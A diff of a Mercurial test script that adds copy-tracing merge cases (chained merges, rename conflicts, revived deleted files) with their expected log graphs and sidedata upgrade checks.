files updated, 0 files merged, 1 files removed, 0 files unresolved + $ hg merge 'desc("e-2")' + 1 files updated, 0 files merged, 1 files removed, 0 files unresolved (no-changeset !) + 0 files updated, 0 files merged, 1 files removed, 0 files unresolved (changeset !) + (branch merge, don't forget to commit) + $ echo "content change for mAE-change-m" > f + $ hg ci -m "mAE-change-m-0 $case_desc - one way" + created new head + $ hg up 'desc("e-2")' + 2 files updated, 0 files merged, 0 files removed, 0 files unresolved + $ hg merge 'desc("a-2")' + 1 files updated, 0 files merged, 1 files removed, 0 files unresolved (no-changeset !) + 0 files updated, 0 files merged, 1 files removed, 0 files unresolved (changeset !) + (branch merge, don't forget to commit) + $ echo "content change for mEA-change-m" > f + $ hg ci -m "mEA-change-m-0 $case_desc - the other way" + created new head + $ hg log -G --rev '::(desc("mAE-change-m")+desc("mEA-change-m"))' + @ mEA-change-m-0 merge with file update and copies info on both side - A side: rename d to f, E side: b to f, (same content for f in parent) - the other way + |\ + +---o mAE-change-m-0 merge with file update and copies info on both side - A side: rename d to f, E side: b to f, (same content for f in parent) - one way + | |/ + | o e-2 g -move-> f + | | + | o e-1 b -move-> g + | | + o | a-2: e -move-> f + | | + o | a-1: d -move-> e + |/ + o i-2: c -move-> d, s -move-> t + | + o i-1: a -move-> c, p -move-> s + | + o i-0 initial commit: a b h p q r + + +Subcase: merge overwrite common copy information, but with extra change during the merge +```````````````````````````````````````````````````````````````````````````````````````` + +Merge: +- one with change to an unrelated file (b) +- one overwriting a file (d) with a rename (from h to i to d) +- the merge update f content + + $ case_desc="merge with extra change - B side: unrelated change, F side: overwrite d with a copy (from h->i->d)" + + $ hg up 'desc("f-2")' + 2 files updated, 0 files merged, 2 files removed, 0 files unresolved +#if no-changeset + $ hg debugindex d | ../no-linkrev + rev linkrev nodeid p1 p2 + 0 * d8252ab2e760 000000000000 000000000000 + 1 * b004912a8510 000000000000 000000000000 + 2 * 7b79e2fe0c89 000000000000 000000000000 + 3 * 17ec97e60577 d8252ab2e760 000000000000 + 4 * 06dabf50734c b004912a8510 17ec97e60577 + 5 * 19c0e3924691 17ec97e60577 b004912a8510 + 6 * 89c873a01d97 7b79e2fe0c89 17ec97e60577 + 7 * d55cb4e9ef57 000000000000 000000000000 +#else + $ hg debugindex d | ../no-linkrev + rev linkrev nodeid p1 p2 + 0 * ae258f702dfe 000000000000 000000000000 + 1 * b004912a8510 000000000000 000000000000 + 2 * 5cce88bf349f ae258f702dfe 000000000000 + 3 * cc269dd788c8 b004912a8510 5cce88bf349f + 4 * 51c91a115080 5cce88bf349f b004912a8510 +#endif + $ hg up 'desc("b-1")' + 3 files updated, 0 files merged, 0 files removed, 0 files unresolved (no-changeset !) + 2 files updated, 0 files merged, 0 files removed, 0 files unresolved (changeset !) + $ hg merge 'desc("f-2")' + 1 files updated, 0 files merged, 1 files removed, 0 files unresolved (no-changeset !) + 0 files updated, 0 files merged, 1 files removed, 0 files unresolved (changeset !) + (branch merge, don't forget to commit) + $ echo "extra-change to (formelly h) during the merge" > d + $ hg ci -m "mBF-change-m-0 $case_desc - one way" + created new head + $ hg manifest --rev . --debug | grep " d" + 1c334238bd42ec85c6a0d83fd1b2a898a6a3215d 644 d (no-changeset !) + cea2d99c0fde64672ef61953786fdff34f16e230 644 d (changeset !) + + $ hg up 'desc("f-2")' + 2 files updated, 0 files merged, 0 files removed, 0 files unresolved + $ hg merge 'desc("b-1")' + 1 files updated, 0 files merged, 0 files removed, 0 files unresolved + (branch merge, don't forget to commit) + $ echo "extra-change to (formelly h) during the merge" > d + $ hg ci -m "mFB-change-m-0 $case_desc - the other way" + created new head + $ hg manifest --rev . --debug | grep " d" + 1c334238bd42ec85c6a0d83fd1b2a898a6a3215d 644 d (no-changeset !) + cea2d99c0fde64672ef61953786fdff34f16e230 644 d (changeset !) +#if no-changeset + $ hg debugindex d | ../no-linkrev + rev linkrev nodeid p1 p2 + 0 * d8252ab2e760 000000000000 000000000000 + 1 * b004912a8510 000000000000 000000000000 + 2 * 7b79e2fe0c89 000000000000 000000000000 + 3 * 17ec97e60577 d8252ab2e760 000000000000 + 4 * 06dabf50734c b004912a8510 17ec97e60577 + 5 * 19c0e3924691 17ec97e60577 b004912a8510 + 6 * 89c873a01d97 7b79e2fe0c89 17ec97e60577 + 7 * d55cb4e9ef57 000000000000 000000000000 + 8 * 1c334238bd42 7b79e2fe0c89 000000000000 +#else + $ hg debugindex d | ../no-linkrev + rev linkrev nodeid p1 p2 + 0 * ae258f702dfe 000000000000 000000000000 + 1 * b004912a8510 000000000000 000000000000 + 2 * 5cce88bf349f ae258f702dfe 000000000000 + 3 * cc269dd788c8 b004912a8510 5cce88bf349f + 4 * 51c91a115080 5cce88bf349f b004912a8510 + 5 * cea2d99c0fde ae258f702dfe 000000000000 +#endif + $ hg log -G --rev '::(desc("mBF-change-m")+desc("mFB-change-m"))' + @ mFB-change-m-0 merge with extra change - B side: unrelated change, F side: overwrite d with a copy (from h->i->d) - the other way + |\ + +---o mBF-change-m-0 merge with extra change - B side: unrelated change, F side: overwrite d with a copy (from h->i->d) - one way + | |/ + | o f-2: rename i -> d + | | + | o f-1: rename h -> i + | | + o | b-1: b update + |/ + o i-2: c -move-> d, s -move-> t + | + o i-1: a -move-> c, p -move-> s + | + o i-0 initial commit: a b h p q r + + +Subcase: restoring and untouched deleted file, while touching it +```````````````````````````````````````````````````````````````` + +Merge: +- one removing a file (d) +- one leaving the file untouched +- the merge actively restore the file to the same content. + +In this case, the file keep on living after the merge. So we should not drop its +copy tracing chain. + + $ case_desc="merge explicitely revive deleted file - B side: unrelated change, C side: delete d (restored by merge)" + + $ hg up 'desc("c-1")' + 2 files updated, 0 files merged, 1 files removed, 0 files unresolved + $ hg merge 'desc("b-1")' + 1 files updated, 0 files merged, 0 files removed, 0 files unresolved + (branch merge, don't forget to commit) + $ hg revert --rev 'desc("b-1")' d + $ echo "new content for d after the revert" > d + $ hg ci -m "mCB-change-m-0 $case_desc - one way" + created new head + $ hg manifest --rev . --debug | grep " d" + e333780c17752a3b0dd15e3ad48aa4e5c745f621 644 d (no-changeset !) + 4b540a18ad699234b2b2aa18cb69555ac9c4b1df 644 d (changeset !) + + $ hg up 'desc("b-1")' 1 files updated, 0 files merged, 0 files removed, 0 files unresolved $ hg merge 'desc("c-1")' 0 files updated, 0 files merged, 1 files removed, 0 files unresolved (branch merge, don't forget to commit) - $ hg ci -m "mHC-delete-before-conflict-m-0" + $ hg revert --rev 'desc("b-1")' d + $ echo "new content for d after the revert" > d + $ hg ci -m "mBC-change-m-0 $case_desc - the other way" + created new head + $ hg manifest --rev . --debug | grep " d" + e333780c17752a3b0dd15e3ad48aa4e5c745f621 644 d (no-changeset !) + 4b540a18ad699234b2b2aa18cb69555ac9c4b1df 644 d (changeset !) + + + $ hg up null --quiet + $ hg log -G --rev '::(desc("mCB-change-m")+desc("mBC-change-m"))' + o mBC-change-m-0 merge explicitely revive deleted file - B side: unrelated change, C side: delete d (restored by merge) - the other way + |\ + +---o mCB-change-m-0 merge explicitely revive deleted file - B side: unrelated change, C side: delete d (restored by merge) - one way + | |/ + | o c-1 delete d + | | + o | b-1: b update + |/ + o i-2: c -move-> d, s -move-> t + | + o i-1: a -move-> c, p -move-> s + | + o i-0 initial commit: a b h p q r + + +Decision from previous merge are properly chained with later merge +------------------------------------------------------------------ + +Subcase: chaining conflicting rename resolution +``````````````````````````````````````````````` + +The "mAEm" and "mEAm" case create a rename tracking conflict on file 'f'. We +add more change on the respective branch and merge again. These second merge +does not involve the file 'f' and the arbitration done within "mAEm" and "mEA" +about that file should stay unchanged. + +We also touch J during some of the merge to check for unrelated change to new file during merge. + + $ case_desc="chained merges (conflict -> simple) - same content everywhere" + +(extra unrelated changes) + + $ hg up 'desc("a-2")' + 6 files updated, 0 files merged, 0 files removed, 0 files unresolved + $ echo j > unrelated-j + $ hg add unrelated-j + $ hg ci -m 'j-1: unrelated changes (based on the "a" series of changes)' + created new head + + $ hg up 'desc("e-2")' + 2 files updated, 0 files merged, 2 files removed, 0 files unresolved (no-changeset !) + 1 files updated, 0 files merged, 2 files removed, 0 files unresolved (changeset !) + $ echo k > unrelated-k + $ hg add unrelated-k + $ hg ci -m 'k-1: unrelated changes (based on "e" changes)' + created new head + +(merge variant 1) + + $ hg up 'desc("mAEm")' + 1 files updated, 0 files merged, 2 files removed, 0 files unresolved (no-changeset !) + 0 files updated, 0 files merged, 2 files removed, 0 files unresolved (changeset !) + $ hg merge 'desc("k-1")' + 1 files updated, 0 files merged, 0 files removed, 0 files unresolved + (branch merge, don't forget to commit) + $ hg ci -m "mAE,Km: $case_desc" + +(merge variant 2) + + $ hg up 'desc("k-1")' + 2 files updated, 0 files merged, 0 files removed, 0 files unresolved (no-changeset !) + 1 files updated, 0 files merged, 0 files removed, 0 files unresolved (changeset !) + + $ hg merge 'desc("mAEm")' + 1 files updated, 0 files merged, 1 files removed, 0 files unresolved (no-changeset !) + 0 files updated, 0 files merged, 1 files removed, 0 files unresolved (changeset !) + (branch merge, don't forget to commit) + $ hg ci -m "mK,AEm: $case_desc" + created new head + +(merge variant 3) + + $ hg up 'desc("mEAm")' + 0 files updated, 0 files merged, 1 files removed, 0 files unresolved + $ hg merge 'desc("j-1")' + 1 files updated, 0 files merged, 0 files removed, 0 files unresolved + (branch merge, don't forget to commit) + $ echo jj > unrelated-j + $ hg ci -m "mEA,Jm: $case_desc" + +(merge variant 4) + + $ hg up 'desc("j-1")' + 3 files updated, 0 files merged, 0 files removed, 0 files unresolved (no-changeset !) + 2 files updated, 0 files merged, 0 files removed, 0 files unresolved (changeset !) + $ hg merge 'desc("mEAm")' + 1 files updated, 0 files merged, 1 files removed, 0 files unresolved (no-changeset !) + 0 files updated, 0 files merged, 1 files removed, 0 files unresolved (changeset !) + (branch merge, don't forget to commit) + $ echo jj > unrelated-j + $ hg ci -m "mJ,EAm: $case_desc" created new head - $ hg log -G --rev '::(desc("mCH-delete-before-conflict-m")+desc("mHC-delete-before-conflict-m"))' - @ 36 mHC-delete-before-conflict-m-0 + + + $ hg log -G --rev '::(desc("mAE,Km") + desc("mK,AEm") + desc("mEA,Jm") + desc("mJ,EAm"))' + @ mJ,EAm: chained merges (conflict -> simple) - same content everywhere |\ - +---o 35 mCH-delete-before-conflict-m-0 + +---o mEA,Jm: chained merges (conflict -> simple) - same content everywhere | |/ - | o 34 h-1: b -(move)-> d + | | o mK,AEm: chained merges (conflict -> simple) - same content everywhere + | | |\ + | | +---o mAE,Km: chained merges (conflict -> simple) - same content everywhere + | | | |/ + | | | o k-1: unrelated changes (based on "e" changes) + | | | | + | o | | j-1: unrelated changes (based on the "a" series of changes) + | | | | + o-----+ mEAm-0 merge with copies info on both side - A side: rename d to f, E side: b to f, (same content for f) - the other way + |/ / / + | o / mAEm-0 merge with copies info on both side - A side: rename d to f, E side: b to f, (same content for f) - one way + |/|/ + | o e-2 g -move-> f + | | + | o e-1 b -move-> g + | | + o | a-2: e -move-> f + | | + o | a-1: d -move-> e + |/ + o i-2: c -move-> d, s -move-> t + | + o i-1: a -move-> c, p -move-> s + | + o i-0 initial commit: a b h p q r + + +Subcase: chaining conflicting rename resolution, with actual merging happening +`````````````````````````````````````````````````````````````````````````````` + +The "mPQm" and "mQPm" case create a rename tracking conflict on file 't'. We +add more change on the respective branch and merge again. These second merge +does not involve the file 't' and the arbitration done within "mPQm" and "mQP" +about that file should stay unchanged. + + $ case_desc="chained merges (conflict -> simple) - different content" + +(extra unrelated changes) + + $ hg up 'desc("p-2")' + 3 files updated, 0 files merged, 3 files removed, 0 files unresolved + $ echo s > unrelated-s + $ hg add unrelated-s + $ hg ci -m 's-1: unrelated changes (based on the "p" series of changes)' + created new head + + $ hg up 'desc("q-2")' + 2 files updated, 0 files merged, 2 files removed, 0 files unresolved + $ echo t > unrelated-t + $ hg add unrelated-t + $ hg ci -m 't-1: unrelated changes (based on "q" changes)' + created new head + +(merge variant 1) + + $ hg up 'desc("mPQm")' + 1 files updated, 0 files merged, 2 files removed, 0 files unresolved + $ hg merge 'desc("t-1")' + 1 files updated, 0 files merged, 0 files removed, 0 files unresolved + (branch merge, don't forget to commit) + $ hg ci -m "mPQ,Tm: $case_desc" + +(merge variant 2) + + $ hg up 'desc("t-1")' + 2 files updated, 0 files merged, 0 files removed, 0 files unresolved + + $ hg merge 'desc("mPQm")' + 1 files updated, 0 files merged, 1 files removed, 0 files unresolved + (branch merge, don't forget to commit) + $ hg ci -m "mT,PQm: $case_desc" + created new head + +(merge variant 3) + + $ hg up 'desc("mQPm")' + 1 files updated, 0 files merged, 1 files removed, 0 files unresolved + $ hg merge 'desc("s-1")' + 1 files updated, 0 files merged, 0 files removed, 0 files unresolved + (branch merge, don't forget to commit) + $ hg ci -m "mQP,Sm: $case_desc" + +(merge variant 4) + + $ hg up 'desc("s-1")' + 2 files updated, 0 files merged, 0 files removed, 0 files unresolved + $ hg merge 'desc("mQPm")' + 1 files updated, 0 files merged, 1 files removed, 0 files unresolved + (branch merge, don't forget to commit) + $ hg ci -m "mS,QPm: $case_desc" + created new head + $ hg up null --quiet + + + $ hg log -G --rev '::(desc("mPQ,Tm") + desc("mT,PQm") + desc("mQP,Sm") + desc("mS,QPm"))' + o mS,QPm: chained merges (conflict -> simple) - different content + |\ + +---o mQP,Sm: chained merges (conflict -> simple) - different content + | |/ + | | o mT,PQm: chained merges (conflict -> simple) - different content + | | |\ + | | +---o mPQ,Tm: chained merges (conflict -> simple) - different content + | | | |/ + | | | o t-1: unrelated changes (based on "q" changes) + | | | | + | o | | s-1: unrelated changes (based on the "p" series of changes) + | | | | + o-----+ mQPm-0 merge with copies info on both side - P side: rename t to v, Q side: r to v, (different content) - the other way + |/ / / + | o / mPQm-0 merge with copies info on both side - P side: rename t to v, Q side: r to v, (different content) - one way + |/|/ + | o q-2 w -move-> v + | | + | o q-1 r -move-> w + | | + o | p-2: u -move-> v | | - o | 6 c-1 delete d - | | - o | 2 i-2: c -move-> d + o | p-1: t -move-> u + |/ + o i-2: c -move-> d, s -move-> t + | + o i-1: a -move-> c, p -move-> s + | + o i-0 initial commit: a b h p q r + + +Subcase: chaining salvage information during a merge +```````````````````````````````````````````````````` + +We add more change on the branch were the file was deleted. merging again +should preserve the fact eh file was salvaged. + + $ case_desc="chained merges (salvaged -> simple) - same content (when the file exists)" + +(creating the change) + + $ hg up 'desc("c-1")' + 5 files updated, 0 files merged, 0 files removed, 0 files unresolved + $ echo l > unrelated-l + $ hg add unrelated-l + $ hg ci -m 'l-1: unrelated changes (based on "c" changes)' + created new head + +(Merge variant 1) + + $ hg up 'desc("mBC-revert-m")' + 2 files updated, 0 files merged, 1 files removed, 0 files unresolved + $ hg merge 'desc("l-1")' + 1 files updated, 0 files merged, 0 files removed, 0 files unresolved + (branch merge, don't forget to commit) + $ hg ci -m "mBC+revert,Lm: $case_desc" + +(Merge variant 2) + + $ hg up 'desc("mCB-revert-m")' + 0 files updated, 0 files merged, 1 files removed, 0 files unresolved + $ hg merge 'desc("l-1")' + 1 files updated, 0 files merged, 0 files removed, 0 files unresolved + (branch merge, don't forget to commit) + $ hg ci -m "mCB+revert,Lm: $case_desc" + +(Merge variant 3) + + $ hg up 'desc("l-1")' + 1 files updated, 0 files merged, 1 files removed, 0 files unresolved + + $ hg merge 'desc("mBC-revert-m")' + 2 files updated, 0 files merged, 0 files removed, 0 files unresolved + (branch merge, don't forget to commit) + $ hg ci -m "mL,BC+revertm: $case_desc" + created new head + +(Merge variant 4) + + $ hg up 'desc("l-1")' + 1 files updated, 0 files merged, 1 files removed, 0 files unresolved + + $ hg merge 'desc("mCB-revert-m")' + 2 files updated, 0 files merged, 0 files removed, 0 files unresolved + (branch merge, don't forget to commit) + $ hg ci -m "mL,CB+revertm: $case_desc" + created new head + + $ hg log -G --rev '::(desc("mBC+revert,Lm") + desc("mCB+revert,Lm") + desc("mL,BC+revertm") + desc("mL,CB+revertm"))' + @ mL,CB+revertm: chained merges (salvaged -> simple) - same content (when the file exists) + |\ + | | o mL,BC+revertm: chained merges (salvaged -> simple) - same content (when the file exists) + | |/| + +-+---o mCB+revert,Lm: chained merges (salvaged -> simple) - same content (when the file exists) + | | | + | +---o mBC+revert,Lm: chained merges (salvaged -> simple) - same content (when the file exists) + | | |/ + | o | l-1: unrelated changes (based on "c" changes) + | | | + | | o mBC-revert-m-0 merge explicitely revive deleted file - B side: unrelated change, C side: delete d (restored by merge) - the other way + | |/| + o---+ mCB-revert-m-0 merge explicitely revive deleted file - B side: unrelated change, C side: delete d (restored by merge) - one way + |/ / + o | c-1 delete d | | - o | 1 i-1: a -move-> c + | o b-1: b update |/ - o 0 i-0 initial commit: a b h + o i-2: c -move-> d, s -move-> t + | + o i-1: a -move-> c, p -move-> s + | + o i-0 initial commit: a b h p q r +Subcase: chaining "merged" information during a merge +`````````````````````````````````````````````````````` + +When a non-rename change are merged with a copy overwrite, the merge pick the copy source from (p1) as the reference. We should preserve this information in subsequent merges. + + $ case_desc="chained merges (copy-overwrite -> simple) - same content" + +(extra unrelated changes) + + $ hg up 'desc("f-2")' + 2 files updated, 0 files merged, 2 files removed, 0 files unresolved (no-changeset !) + 1 files updated, 0 files merged, 2 files removed, 0 files unresolved (changeset !) + $ echo n > unrelated-n + $ hg add unrelated-n + $ hg ci -m 'n-1: unrelated changes (based on the "f" series of changes)' + created new head + + $ hg up 'desc("g-1")' + 2 files updated, 0 files merged, 1 files removed, 0 files unresolved + $ echo o > unrelated-o + $ hg add unrelated-o + $ hg ci -m 'o-1: unrelated changes (based on "g" changes)' + created new head + +(merge variant 1) + + $ hg up 'desc("mFGm")' + 1 files updated, 0 files merged, 2 files removed, 0 files unresolved (no-changeset !) + 0 files updated, 0 files merged, 2 files removed, 0 files unresolved (changeset !) + $ hg merge 'desc("o-1")' + 1 files updated, 0 files merged, 0 files removed, 0 files unresolved + (branch merge, don't forget to commit) + $ hg ci -m "mFG,Om: $case_desc" + +(merge variant 2) + + $ hg up 'desc("o-1")' + 2 files updated, 0 files merged, 0 files removed, 0 files unresolved (no-changeset !) + 1 files updated, 0 files merged, 0 files removed, 0 files unresolved (changeset !) + $ hg merge 'desc("FGm")' + 1 files updated, 0 files merged, 1 files removed, 0 files unresolved (no-changeset !) + 0 files updated, 0 files merged, 1 files removed, 0 files unresolved (changeset !) + (branch merge, don't forget to commit) + $ hg ci -m "mO,FGm: $case_desc" + created new head + +(merge variant 3) + + $ hg up 'desc("mGFm")' + 0 files updated, 0 files merged, 1 files removed, 0 files unresolved + $ hg merge 'desc("n-1")' + 1 files updated, 0 files merged, 0 files removed, 0 files unresolved + (branch merge, don't forget to commit) + $ hg ci -m "mGF,Nm: $case_desc" + +(merge variant 4) + + $ hg up 'desc("n-1")' + 1 files updated, 0 files merged, 0 files removed, 0 files unresolved + $ hg merge 'desc("mGFm")' + 1 files updated, 0 files merged, 0 files removed, 0 files unresolved + (branch merge, don't forget to commit) + $ hg ci -m "mN,GFm: $case_desc" + created new head + + $ hg log -G --rev '::(desc("mFG,Om") + desc("mO,FGm") + desc("mGF,Nm") + desc("mN,GFm"))' + @ mN,GFm: chained merges (copy-overwrite -> simple) - same content + |\ + +---o mGF,Nm: chained merges (copy-overwrite -> simple) - same content + | |/ + | | o mO,FGm: chained merges (copy-overwrite -> simple) - same content + | | |\ + | | +---o mFG,Om: chained merges (copy-overwrite -> simple) - same content + | | | |/ + | | | o o-1: unrelated changes (based on "g" changes) + | | | | + | o | | n-1: unrelated changes (based on the "f" series of changes) + | | | | + o-----+ mGFm-0 merge - G side: content change, F side: copy overwrite, no content change - the other way + |/ / / + | o / mFGm-0 merge - G side: content change, F side: copy overwrite, no content change - one way + |/|/ + | o g-1: update d + | | + o | f-2: rename i -> d + | | + o | f-1: rename h -> i + |/ + o i-2: c -move-> d, s -move-> t + | + o i-1: a -move-> c, p -move-> s + | + o i-0 initial commit: a b h p q r + + +Subcase: chaining conflicting rename resolution, with extra change during the merge +``````````````````````````````````````````````````````````````````````````````````` + +The "mEA-change-m-0" and "mAE-change-m-0" case create a rename tracking conflict on file 'f'. We +add more change on the respective branch and merge again. These second merge +does not involve the file 'f' and the arbitration done within "mAEm" and "mEA" +about that file should stay unchanged. + + $ case_desc="chained merges (conflict+change -> simple) - same content on both branch in the initial merge" + + +(merge variant 1) + + $ hg up 'desc("mAE-change-m")' + 2 files updated, 0 files merged, 3 files removed, 0 files unresolved + $ hg merge 'desc("k-1")' + 1 files updated, 0 files merged, 0 files removed, 0 files unresolved + (branch merge, don't forget to commit) + $ hg ci -m "mAE-change,Km: $case_desc" + +(merge variant 2) + + $ hg up 'desc("k-1")' + 2 files updated, 0 files merged, 0 files removed, 0 files unresolved + + $ hg merge 'desc("mAE-change-m")' + 1 files updated, 0 files merged, 1 files removed, 0 files unresolved + (branch merge, don't forget to commit) + $ hg ci -m "mK,AE-change-m: $case_desc" + created new head + +(merge variant 3) + + $ hg up 'desc("mEA-change-m")' + 1 files updated, 0 files merged, 1 files removed, 0 files unresolved + $ hg merge 'desc("j-1")' + 1 files updated, 0 files merged, 0 files removed, 0 files unresolved + (branch merge, don't forget to commit) + $ hg ci -m "mEA-change,Jm: $case_desc" + +(merge variant 4) + + $ hg up 'desc("j-1")' + 2 files updated, 0 files merged, 0 files removed, 0 files unresolved + $ hg merge 'desc("mEA-change-m")' + 1 files updated, 0 files merged, 1 files removed, 0 files unresolved + (branch merge, don't forget to commit) + $ hg ci -m "mJ,EA-change-m: $case_desc" + created new head + + + $ hg log -G --rev '::(desc("mAE-change,Km") + desc("mK,AE-change-m") + desc("mEA-change,Jm") + desc("mJ,EA-change-m"))' + @ mJ,EA-change-m: chained merges (conflict+change -> simple) - same content on both branch in the initial merge + |\ + +---o mEA-change,Jm: chained merges (conflict+change -> simple) - same content on both branch in the initial merge + | |/ + | | o mK,AE-change-m: chained merges (conflict+change -> simple) - same content on both branch in the initial merge + | | |\ + | | +---o mAE-change,Km: chained merges (conflict+change -> simple) - same content on both branch in the initial merge + | | | |/ + | | | o k-1: unrelated changes (based on "e" changes) + | | | | + | o | | j-1: unrelated changes (based on the "a" series of changes) + | | | | + o-----+ mEA-change-m-0 merge with file update and copies info on both side - A side: rename d to f, E side: b to f, (same content for f in parent) - the other way + |/ / / + | o / mAE-change-m-0 merge with file update and copies info on both side - A side: rename d to f, E side: b to f, (same content for f in parent) - one way + |/|/ + | o e-2 g -move-> f + | | + | o e-1 b -move-> g + | | + o | a-2: e -move-> f + | | + o | a-1: d -move-> e + |/ + o i-2: c -move-> d, s -move-> t + | + o i-1: a -move-> c, p -move-> s + | + o i-0 initial commit: a b h p q r + + Summary of all created cases ---------------------------- @@ -650,31 +1537,74 @@ f-2: rename i -> d g-1: update d h-1: b -(move)-> d - i-0 initial commit: a b h - i-1: a -move-> c - i-2: c -move-> d - mABm-0 simple merge - the other way - mAEm-0 simple merge - one way - mBAm-0 simple merge - one way - mBC-revert-m-0 - mBCm-0 simple merge - one way + i-0 initial commit: a b h p q r + i-1: a -move-> c, p -move-> s + i-2: c -move-> d, s -move-> t + j-1: unrelated changes (based on the "a" series of changes) + k-1: unrelated changes (based on "e" changes) + l-1: unrelated changes (based on "c" changes) + mABm-0 simple merge - A side: multiple renames, B side: unrelated update - the other way + mAE,Km: chained merges (conflict -> simple) - same content everywhere + mAE-change,Km: chained merges (conflict+change -> simple) - same content on both branch in the initial merge + mAE-change-m-0 merge with file update and copies info on both side - A side: rename d to f, E side: b to f, (same content for f in parent) - one way + mAEm-0 merge with copies info on both side - A side: rename d to f, E side: b to f, (same content for f) - one way + mBAm-0 simple merge - A side: multiple renames, B side: unrelated update - one way + mBC+revert,Lm: chained merges (salvaged -> simple) - same content (when the file exists) + mBC-change-m-0 merge explicitely revive deleted file - B side: unrelated change, C side: delete d (restored by merge) - the other way + mBC-revert-m-0 merge explicitely revive deleted file - B side: unrelated change, C side: delete d (restored by merge) - the other way + mBCm-0 simple merge - C side: delete a file with copies history , B side: unrelated update - one way mBCm-1 re-add d - mBDm-0 simple merge - one way - mBFm-0 simple merge - one way - mCB-revert-m-0 - mCBm-0 simple merge - the other way + mBDm-0 simple merge - B side: unrelated update, D side: delete and recreate a file (with different content) - one way + mBF-change-m-0 merge with extra change - B side: unrelated change, F side: overwrite d with a copy (from h->i->d) - one way + mBFm-0 simple merge - B side: unrelated change, F side: overwrite d with a copy (from h->i->d) - one way + mBRm-0 simple merge - B side: unrelated change, R side: overwrite d with a copy (from r->x->t) different content - one way + mCB+revert,Lm: chained merges (salvaged -> simple) - same content (when the file exists) + mCB-change-m-0 merge explicitely revive deleted file - B side: unrelated change, C side: delete d (restored by merge) - one way + mCB-revert-m-0 merge explicitely revive deleted file - B side: unrelated change, C side: delete d (restored by merge) - one way + mCBm-0 simple merge - C side: delete a file with copies history , B side: unrelated update - the other way mCBm-1 re-add d - mCGm-0 - mCH-delete-before-conflict-m-0 - mDBm-0 simple merge - the other way - mDGm-0 simple merge - one way - mEAm-0 simple merge - the other way - mFBm-0 simple merge - the other way - mFGm-0 simple merge - one way - mGCm-0 - mGDm-0 simple merge - the other way - mGFm-0 simple merge - the other way - mHC-delete-before-conflict-m-0 + mCGm-0 merge updated/deleted - revive the file (updated content) - one way + mCH-delete-before-conflict-m-0 simple merge - C side: d is the results of renames then deleted, H side: d is result of another rename (same content as the other branch) - one way + mDBm-0 simple merge - B side: unrelated update, D side: delete and recreate a file (with different content) - the other way + mDGm-0 actual content merge, copies on one side - D side: delete and re-add (different content), G side: update content - one way + mEA,Jm: chained merges (conflict -> simple) - same content everywhere + mEA-change,Jm: chained merges (conflict+change -> simple) - same content on both branch in the initial merge + mEA-change-m-0 merge with file update and copies info on both side - A side: rename d to f, E side: b to f, (same content for f in parent) - the other way + mEAm-0 merge with copies info on both side - A side: rename d to f, E side: b to f, (same content for f) - the other way + mFB-change-m-0 merge with extra change - B side: unrelated change, F side: overwrite d with a copy (from h->i->d) - the other way + mFBm-0 simple merge - B side: unrelated change, F side: overwrite d with a copy (from h->i->d) - the other way + mFG,Om: chained merges (copy-overwrite -> simple) - same content + mFGm-0 merge - G side: content change, F side: copy overwrite, no content change - one way + mGCm-0 merge updated/deleted - revive the file (updated content) - the other way + mGDm-0 actual content merge, copies on one side - D side: delete and re-add (different content), G side: update content - the other way + mGF,Nm: chained merges (copy-overwrite -> simple) - same content + mGFm-0 merge - G side: content change, F side: copy overwrite, no content change - the other way + mHC-delete-before-conflict-m-0 simple merge - C side: d is the results of renames then deleted, H side: d is result of another rename (same content as the other branch) - the other way + mJ,EA-change-m: chained merges (conflict+change -> simple) - same content on both branch in the initial merge + mJ,EAm: chained merges (conflict -> simple) - same content everywhere + mK,AE-change-m: chained merges (conflict+change -> simple) - same content on both branch in the initial merge + mK,AEm: chained merges (conflict -> simple) - same content everywhere + mL,BC+revertm: chained merges (salvaged -> simple) - same content (when the file exists) + mL,CB+revertm: chained merges (salvaged -> simple) - same content (when the file exists) + mN,GFm: chained merges (copy-overwrite -> simple) - same content + mO,FGm: chained merges (copy-overwrite -> simple) - same content + mPQ,Tm: chained merges (conflict -> simple) - different content + mPQm-0 merge with copies info on both side - P side: rename t to v, Q side: r to v, (different content) - one way + mQP,Sm: chained merges (conflict -> simple) - different content + mQPm-0 merge with copies info on both side - P side: rename t to v, Q side: r to v, (different content) - the other way + mRBm-0 simple merge - B side: unrelated change, R side: overwrite d with a copy (from r->x->t) different content - the other way + mS,QPm: chained merges (conflict -> simple) - different content + mT,PQm: chained merges (conflict -> simple) - different content + n-1: unrelated changes (based on the "f" series of changes) + o-1: unrelated changes (based on "g" changes) + p-1: t -move-> u + p-2: u -move-> v + q-1 r -move-> w + q-2 w -move-> v + r-1: rename r -> x + r-2: rename t -> x + s-1: unrelated changes (based on the "p" series of changes) + t-1: unrelated changes (based on "q" changes) Test that sidedata computations during upgrades are correct @@ -698,9 +1628,10 @@ generaldelta: yes yes yes share-safe: no no no sparserevlog: yes yes yes - sidedata: no yes no - persistent-nodemap: no no no + persistent-nodemap: no no no (no-rust !) + persistent-nodemap: yes yes no (rust !) copies-sdc: no yes no + revlog-v2: no yes no plain-cl-delta: yes yes yes compression: * (glob) compression-level: default default default @@ -709,7 +1640,48 @@ requirements preserved: * (glob) - added: exp-copies-sidedata-changeset, exp-sidedata-flag + removed: revlogv1 + added: exp-copies-sidedata-changeset, exp-revlogv2.2, exp-sidedata-flag + + processed revlogs: + - all-filelogs + - changelog + - manifest + +#endif + +#if upgraded-parallel + $ cat >> $HGRCPATH << EOF + > [format] + > exp-use-side-data = yes + > exp-use-copies-side-data-changeset = yes + > [experimental] + > worker.repository-upgrade=yes + > [worker] + > enabled=yes + > numcpus=8 + > EOF + $ hg debugformat -v + format-variant repo config default + fncache: yes yes yes + dotencode: yes yes yes + generaldelta: yes yes yes + share-safe: no no no + sparserevlog: yes yes yes + persistent-nodemap: no no no (no-rust !) + persistent-nodemap: yes yes no (rust !) + copies-sdc: no yes no + revlog-v2: no yes no + plain-cl-delta: yes yes yes + compression: * (glob) + compression-level: default default default + $ hg debugupgraderepo --run --quiet + upgrade will perform the following actions: + + requirements + preserved: * (glob) + removed: revlogv1 + added: exp-copies-sidedata-changeset, exp-revlogv2.2, exp-sidedata-flag processed revlogs: - all-filelogs @@ -721,194 +1693,411 @@ #if no-compatibility no-filelog no-changeset + $ hg debugchangedfiles --compute 0 + added : a, ; + added : b, ; + added : h, ; + added : p, ; + added : q, ; + added : r, ; + $ for rev in `hg log --rev 'all()' -T '{rev}\n'`; do - > echo "##### revision $rev #####" + > case_id=`hg log -r $rev -T '{word(0, desc, ":")}\n'` + > echo "##### revision \"$case_id\" #####" > hg debugsidedata -c -v -- $rev > hg debugchangedfiles $rev > done - ##### revision 